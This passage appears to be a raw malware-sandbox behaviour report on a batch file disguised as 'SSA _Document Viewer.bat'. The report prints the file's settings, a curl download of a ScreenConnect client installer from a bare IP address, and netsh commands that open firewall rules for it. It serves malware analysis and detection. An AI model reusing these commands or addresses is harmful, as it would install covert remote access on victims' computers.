140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000008) "sc.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004504) "netsh.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003164) "netsh.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003164)30:Tba6,"netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f098cef3fa7f0000000100000000000000010000000000000000000000000000e80febedfa7f000001000000000000000f36eaedfa7f00000000000000000000e80febedfa7f0000400000000000000048708f6e9f0000000100000000000000ff37eaedfa7f000000000000000000000000000000000000f00febed (UID: 00000000-00003164) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f098cef3fa7f0000000100000000000000010000000000000000000000000000e80febedfa7f000001000000000000000f36eaedfa7f00000000000000000000e80febedfa7f00004d00330032005c00286b2f96570000000100000000000000ff37eaedfa7f000000000000000000000000000000000000f00febed (UID: 00000000-00005776) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f098cef3fa7f0000000100000000000000010000000000000000000000000000e80febedfa7f000001000000000000000f36eaedfa7f00000000000000000000e80febedfa7f0000400000000000000088695956510000000100000000000000ff37eaedfa7f000000000000000000000000000000000000f00febed (UID: 00000000-00007248) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f098cef3fa7f0000000100000000000000010000000000000000000000000000e80febedfa7f000001000000000000000f36eaedfa7f00000000000000000000e80febedfa7f00004000000000000000286fcf7ef00000000100000000000000ff37eaedfa7f000000000000000000000000000000000000f00febed (UID: 00000000-00005336) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f098cef3fa7f0000000100000000000000010000000000000000000000000000e80febedfa7f000001000000000000000f36eaedfa7f00000000000000000000e80febedfa7f0000500a6bf97c020000b86c5038cf0000000100000000000000ff37eaedfa7f000000000000000000000000000000000000f00febed (UID: 00000000-00000160) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f098cef3fa7f0000000100000000000000010000000000000000000000000000e80febedfa7f000001000000000000000f36eaedfa7f00000000000000000000e80febedfa7f00004000000000000000386ab2c83a0000000100000000000000ff37eaedfa7f000000000000000000000000000000000000f00febed (UID: 00000000-00007004) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f098cef3fa7f0000000100000000000000010000000000000000000000000000e80febedfa7f000001000000000000000f36eaedfa7f00000000000000000000e80febedfa7f00004d00330032005c00d8694fb4330000000100000000000000ff37eaedfa7f000000000000000000000000000000000000f00febed (UID: 00000000-00006852) "netsh.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f098cef3fa7f0000000100000000000000010000000000000000000000000000e80febedfa7f000001000000000000000f36eaedfa7f00000000000000000000e80febedfa7f00004000000000000000186a4fd7150000000100000000000000ff37eaedfa7f000000000000000000000000000000000000f00febed (UID: 00000000-00005460)31:T42f,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "net1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "sc.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "netsh.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")32:Ta2f,file/memory contains long string with (Indicator: ""set "; File: "SSA _Document Viewer.bat") Found string "set "CONSOLE_OUTPUT=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "SCRIPT_START_TIME=%TIME%"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "SCRIPT_VERSION=23.0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "ROLLBACK_ENABLED=1"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "INTEGRITY_CHECK_ENABLED=1"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "HEARTBEAT_ENABLED=1"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "LOG_FILE=%TEMP%\ScreenConnect_Install.log"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "TEMP_DIR=%TEMP%\ScreenConnect_%RANDOM%_%TIME:~6 5%"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "MSI_FILE=%TEMP_DIR%\ScreenConnect.ClientSetup.msi"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "DOWNLOAD_URL=http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "MAX_RETRIES=25"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "RETRY_COUNT=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "INSTALLATION_SUCCESS=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "INSTALLATION_INTEGRITY=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "SERVER_ADDRESS=http://172.245.244.73:8040"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "SERVER_HOST=172.245.244.73"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "SERVER_PORT=8040"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "WINDOWS_VERSION="" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "IS_WINDOWS_10_OR_LATER=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "IS_WINDOWS_11_OR_LATER=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "PANEL_REPORTING_VERIFIED=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "SERVICE_HEALTH_GOOD=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "CONFIGURATION_VALID=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat") Found string "set "MSI_INSTALLATION_VERIFIED=0"" (Indicator: "set "; File: "SSA _Document Viewer.bat")33:T777,Found reference to API "OpenSCManager" (Indicator: "OpenSCManager"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "EnumServicesStatusEx" (Indicator: "EnumServicesStatus"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "EnumServicesStatus" (Indicator: "EnumServicesStatus"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "QueryServiceStatusEx" (Indicator: "QueryServiceStatus"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "EnumDependentServices" (Indicator: "EnumDependentServices"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "EnumServicesStatusExW" (Indicator: "EnumServicesStatus"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "EnumDependentServicesW" (Indicator: "EnumDependentServices"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "QueryServiceStatus" (Indicator: "QueryServiceStatus"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "QueryServiceStatus" (Indicator: "QueryServiceStatus"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "EnumDependentServicesW" (Indicator: "EnumDependentServices"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "EnumServicesStatusExW" (Indicator: "EnumServicesStatus"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp")34:T8a4,"cmd.exe" called "CreateProcessW" with parameter "net session" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c ver" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "where msiexec" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "where powershell" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "where curl" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "sc query "msiserver"" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall delete rule name="ScreenConnect Outbound"" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall delete rule name="ScreenConnect Inbound"" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall delete rule name="ScreenConnect Server Port"" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall delete rule name="ScreenConnect Network Discovery"" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall add rule name="ScreenConnect Outbound" dir=out action=allow program="ScreenConnect.ClientService.exe"" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall add rule name="ScreenConnect Inbound" dir=in action=allow program="ScreenConnect.ClientService.exe" en" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall add rule name="ScreenConnect Server Port" dir=out action=allow protocol=TCP localport=8040 remoteport=" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "netsh advfirewall firewall add rule name="ScreenConnect Server Port In" dir=in action=allow protocol=TCP localport=8040 enable=ye" - (UID: 00000000-00006472) "cmd.exe" called "CreateProcessW" with parameter "curl -s -L -o "%TEMP%\ScreenConnect_1091_58.56\ScreenConnect.ClientSetup.msi" "http://163.245.215.15" - (UID: 00000000-00006472)35:Tba6,"netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00003164) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00003164) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00003164) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003164) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00005776) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00005776) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00005776) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005776) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00007248) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00007248) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00007248) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007248) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00005336) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00005336) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00005336) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005336) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00000160) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00000160) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00000160) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000160) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00007004) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00007004) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00007004) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007004) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00006852) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00006852) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00006852) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006852) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00005460) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00005460) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00005460) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005460)36:T346a,"cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006472) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006472) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006472) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006472) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006472) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006472) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006472) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006472) "net1.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007200) "net1.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007200) "net1.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007200) "net1.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007200) "net1.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007200) "net1.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007200) "net1.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007200) "net1.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007200) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000008) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000008) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000008) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000008) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000008) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000008) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00000008) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000008) "sc.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004504) "sc.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004504) "sc.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004504) "sc.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004504) "sc.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004504) "sc.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004504) "sc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004504) "sc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004504) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003164) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005776) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007248) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005336) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00000160) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007004) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006852) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005460) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005460)37:T92c0,Found reference to API (Indicator: "OpenService"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManager"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "EnumServicesStatusEx"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "EnumServicesStatus"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatusEx"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "StartService"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "DeleteService"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ControlServiceEx"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ControlService"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfig"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "CreateService"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "EnumDependentServices"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceObjectSecurity"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ConvertSecurityDescriptorToStringSecurityDescriptor"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptor"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API (Indicator: 